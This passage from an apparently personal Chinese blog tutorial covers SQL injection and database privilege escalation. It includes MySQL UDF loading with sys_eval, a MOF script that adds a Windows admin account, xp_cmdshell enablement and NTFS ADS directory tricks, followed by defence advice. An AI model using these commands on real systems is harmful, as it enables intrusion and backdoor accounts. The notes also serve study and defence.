+----------------+-------------------------+------------------------+
| root@localhost | 5.5.47-0ubuntu0.14.04.1 | /usr/lib/mysql/plugin/ |
+----------------+-------------------------+------------------------+
1 row in set (0.00 sec)

在使用 sqlmap 自带的 udf 要用 cloak 压缩加密工具对其进行转换编码。运行完会去掉文件下划线产生一个新文件。具体的在 sqlmap\extra\cloak有 README 介绍。

python cloak.py -d -i D:\gbb\tools\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_

导入 UDF 库几种方法。

  1. 通过 16 进制转换写入

    xxd -p lib_mysqludf_sys.so | sed ":a;N;s/\\n//g;ta" > mysql_udf_hex
    SELECT unhex(HEX_DATA) into dumpfile "PATH"
    SELECT HEX_DATA into dumpfile "PATH"
  2. Base64 转换
    MySQL 5.6 有了 base64 编解码函数,使用此函数来还原 UDF 内容。

    base64 lib_mysqludf_sys.so | sed ":a;N;s/\\n//g;ta" > mysql_udf_base64
    SELECT from_base64("f0VMRgIBAQAAAA...") into dumpfile "PATH"
  3. 共享读取

    SELECT load_file("\\\\PATH\\lib_mysqludf_sys.so") into dumpfile "PATH"
  4. 直接读取文件

    SELECT hex(load)_file("\\\\PATH\\lib_mysqludf_sys.so") into dumpfile "PATH"

导入 UDF

SELECT unhex("7f454c4602010100...0000") into dumpfile "/usr/lib/mysql/plugin/mysql_udf.so"

创建函数,其中 FUN_NAME 在 UDF 库中定义的,根据不同 UDF 源码中也许函数名写的不一样,可以用 IDA 查看函数名。

这里我用 sqlmap 中的 UDF 创建函数,它是直接在 @@plugin_dir 定义的目录查找此文件——待确认

create function sys_eval returns string soname "mysql_udf.so"

4.1-5.1 版本创建函数时路径不能包含 / \ 符号——网上摘的,Windows \\ 符号待确认。直接指定路径会报错。

mysql> create function sys_eval returns string soname "/usr/lib/mysql/plugin/mysql_udf.so";
ERROR 1124 (HY000): No paths allowed for shared library

创建完成就会有一个函数能够使用,就算删了 mysql_udf.so 也能用。

mysql> SELECT sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql              |
+--------------------+
1 row in set (0.01 sec)

这个导入的函数放在 mysql.func 表中。要想删除可以用 drop function FUN_NAME

mysql> SELECT * from mysql.func;
+----------+-----+--------------+----------+
| name     | ret | dl           | type     |
+----------+-----+--------------+----------+
| sys_eval |   0 | mysql_udf.so | function |
+----------+-----+--------------+----------+
1 row in set (0.00 sec)

在 sqlmap 中有 --udf-inejct 选项可以写入 UDF,但在测试中提示我需要堆叠注入?

如何避免被利用

  1. 系统运行用户权限配置,就算上传成功权限低。
  2. 设定好 @@plugin_dir 目录与权限
  3. secure_file_priv 值设置为 NULL,禁用导入导出。

问题

导入 16 进制 UDF这么长的字符作为 GET 参数传递是不行的,有其他方法吗?

Trick

  1. 默认 plugin 目录不存在,使用 NTFS ADS 流来创建。

    SELECT @@basedir; 
    //查找到mysql的目录
    
    SELECT 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; 
    //利用NTFS ADS创建lib目录
    
    SELECT 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
    //利用NTFS ADS创建plugin目录
  2. Windows下不一定非要 .dll 结尾,可以改为其他后缀。

MOF 命令执行

使用 WMI 来执行命令,WMI 提供了一个接口是用来管理系统,还可以 PowerShell/VBScript 脚本来自动化管理或是使用 WIMC 命令行程序操作。

http://www.wikiwand.com/zh-sg/Windows%E7%AE%A1%E7%90%86%E8%A7%84%E8%8C%83

利用条件

  1. 需要数据库用户 ROOT 权限
  2. XP/WinServer 2003 版本以后不支持,包括 Win7/2008/2012...
    只支持2003/xp

https://www.t00ls.net/viewthread.php?tid=32139&highlight=mof

利用过程

写入到文件以 .mof 结尾 。其中 vbs 是执行 net user 命令。

# pragma namespace("\\.\root\subscription")

instance of **EventFilter as $EventFilter{    EventNamespace = "Root\Cimv2";    Name  = "filtP2";    Query = "Select \* From **InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

上传 mof 到服务器 %SystemRoot%\System32\Wbem\MOF,并导出

select load_file('C:/www/AddToAdmin.mof') into dumpfile 'c:/windows/system32/wbem/mof/AddToAdmin.mof';

随后会自动执行命令

命令重复执行不停止解决方法

  1. 执行成功后不停止,使用 net stop winmgmt net start winmgmt 重启服务
  2. 停止服务,删除 C:\Windows\System32\wbem\Repository 下所有文件,启动服务

SQL Server

常见函数

@@VERSION /*数据库版本*/
@@SERVERNAME /*当前服务器主机名*/
user_name() /*当前数据库用户名*/
db_name() /*db_name 不填 database_id 就返回当前数据库 name,id 可以尝试从 0 开始,不知道 0 跟不填有啥区别。*/
HAS_DBACCESS('db_name') /*当前用户有没权限访问此数据库,没有返回 0,有返回 1*/

显注

报错注入

CONVERT(int, @@version)
CAST()

盲注

这参数为 时:分:秒,延迟等待 5 秒。

WAITFOR DELAY 0:0:5

https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/,一些小技巧

xp_cmdshell 存储过程命令执行

有了注入可以看看用户权限开启 xp_cmdshell (可以执行系统命令,用于提权)

IF IS_SRVROLEMEMBER('sysadmin')=1 WAITFOR DELAY '0:0:5'-- 
-- 由于无法使用 CONVERT 报错来显示是不是 dba 权限,详情看用户权限链接。

2008r2 之后的 mssql 版本,如果是全程在默认情况下安装,已不再是 administrator 或者 system,而是一个很低的network 权限

by klion

查看 xp_cmdshell 是否存在

SELECT count(*) from master.dbo.sysobjects where xtype = 'X' and name = 'xp_cmdshell')

开启 xp_cmdshell

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

开启成功尝试执行命令。

exec master..xp_cmdshell 'ipconfig';
exec xp_cmdshell 'net user';

另一个拿 WebShell 的思路是差异备份(backup database),前提有两个,1.得先知道站点根目录在哪,2.站点和数据库库在一台服务器(不然没法解析),是指创建一个表里面放上一句话,最后备份数据库到 aspx 结尾的文件去连接。
缺点是文件过大连接很慢,一但数据量大起来可能会导致服务挂掉——但有没可能只是备份我创建的那个表呢?

测试语句

and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) //是否为系统管理员
and 1=(SELECT IS_MEMBER('db_owner')) //是否是库权限

CLR

https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/

Oracle

...

盲注

Out Of Band

在 Oracle 数据库有个 UTL_HTTP.request 方法可以发送 HTTP 请求。其中 url 是目标地址,proxy 是可以选参数,为代理服务器地址。

UTL_HTTP.REQUEST(url IN VARCHAR2, proxy in VARCHAR2 DEFAULT NULL);

这个方法限制 Response Data 在 2000 Byte 内,不知道对渗透有什么影响。

PostgreSQL

和 MySQL 一样有个视图数据库,information_schema。

查版本 SELECT version()

时间延时 SELECT pg_sleep(10)
...

Other

宽字节注入

宽字节注入主要是因为数据库编码的问题导致的,gb2312 和 gbk 编码会把两个字节当作一个字符,数据库在处理时就形成一个字符。

一个典型利用场景是注入点把我们的引号转义为引号前面添加 %5C 转义符,此时就可以利用 %df 配合 %5c 组成形成汉字去绕过限制,原因是在数据库处理时拼接为一个中文字符(需要在数据库中实际测试)。

练习 SQLI 36 课

二次注入

在黑皮书上看到二阶注入这个概念(也有人叫它二次注入),描述如下。

  1. 在 a 页面上插入 Payload 结果在 b 页面上返回。
  2. 在注册用户时 username 填为 admin--,在修改密码时输入 'admin--,此时 SQL 语句是 UPDATE SET password='asdfjl' WHERE username='admin--',任意重置 admin 密码。

数据库中存储的数据带有关键字,其他业务能够去调用此数据时导致整体 SQL 被篡改。

练习 SQLI 24 课

通用防御策略

一种是事前预防,另一种是事后修补。

在项目数据库设计阶段就要考虑到存储安全,使用 password+salt+唯一标识符(用户不变的内容比如 id 或是用户账号)。让你拿到数据也无法解密。发生安全事件后再进行更改就比较复杂。

在代码层面处理外界传入参数应该进行过滤让数据符合对应格式,这是为了代码健壮性和安全问题,比如用户名只能输入大小写字母和数字,填写手机号的地方就只能输入数字,匹配到不符合要求的 value 就转义或剔除。就是数据和代码要做区分,不能把数据当作代码处理。
在真正进行 SQl 查询时可以使用采用预处理(PreparedStatement)也有人称做作预编译,来提高性能和安全性。

项目正式推送到生产环境,运维层面应采用最小权限原则对数据库用户权限做控制,像展示页面内容功能就只给某个表查询权限,可不能有增删。在配置方面需要关闭数据库报错信息和部分不需要的功能,另外及时打补丁(这一项一般不会做到,大家都想着稳定嘛),防止注入后拿到 Shell 进一步提权。

PS:网上有很多文章都说对用户传递过来的参数进行过滤,这个过滤的本质是为了防止程序业务逻辑出现问题而出错,进而限制你输入数据的格式,而安全性只是它副产品而已。

PHP

限制方法

1. php.ini 配置文件中开启了magic_quotes_gpc(魔术引号)官方文档的解释是

所有的 '(单引号),"(双引号),*(反斜线)和 NULL* 字符都会被自动加上一个反斜线进行转义。这和 addslashes() 作用完全相同。

Warning 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除

2. 其次就是用了 addslashes() 函数将接收过来的参数进行过滤
3. 使用 is_numeric() 函数判断接收的参数是不是数字,判断返回值是 bool。

Java

ASP.NET

练习靶场

参考链接

标签: none

讨论讨论讨论!